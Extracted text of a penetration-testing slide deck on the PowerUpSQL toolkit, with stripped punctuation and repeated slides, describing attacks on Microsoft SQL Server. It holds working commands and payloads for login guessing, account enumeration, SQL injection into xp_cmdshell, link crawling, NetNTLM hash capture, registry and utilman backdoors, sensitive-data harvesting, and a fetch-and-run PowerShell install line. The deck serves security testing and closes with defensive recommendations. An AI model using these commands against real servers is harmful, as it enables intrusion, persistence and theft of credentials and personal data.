PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Why SQL Server Used in most enterprise environments
Supports local Windows and Domain authentication
Integrates with lots of Windows applications
Generally has trust relationships that other donrsquot
Why PowerShell Native to Windows
Run commands in memory
Run managed net code
Run unmanaged code
Avoid detection by legacy Anti-virus
Already flagged as trusted by most application whitelist solutions
A medium used to write many open source Pentest toolkits
PowerUpSQL
PowerUpSQL Overview Project GoalsProject Goals (Get-Abilities)
Scalability via runspace threading Flexibility via pipeline support
ps objects and data tables Portability
o No SMO dependancieso Net Framework librarieso PowerShell v2 compliant (in theory)o Single file
Functional Goals Discover SQL Servers from different attacker perspectives Inventory SQL Servers quickly Audit SQL Servers for common insecure configurations Escalate privileges quickly on SQL Servers Support authentication using SQL Login or Windows Credential
PowerUpSQL Overview Functions
Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd
httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions
PowerUpSQL Overview Where can I get it
GithubhttpsgithubcomnetspiPowerUpSQL
PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL
PowerUpSQL Overview How do I install it
GithubImport-Module PowerUpSQLpsd1
IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)
Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy
PowerShell GalleryInstall-Module -Name PowerUpSQL
SQL ServerBasics
SQL Server BasicsWhat is SQL Server
A database platform An application A set of Windows services Each instance has its own set of
services
SQL Server Basics Account TypesAccount Types
Windows Accountso Used to logino Mapped to SQL Server login
SQL Server Loginso Used to logino Mapped to database account
Database Userso Used to access databases
SQL Server Basics Common RolesImportant SQL Server Roles
Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group
but in SQL Server
Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but
in SQL Server
Finding SQL Servers
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
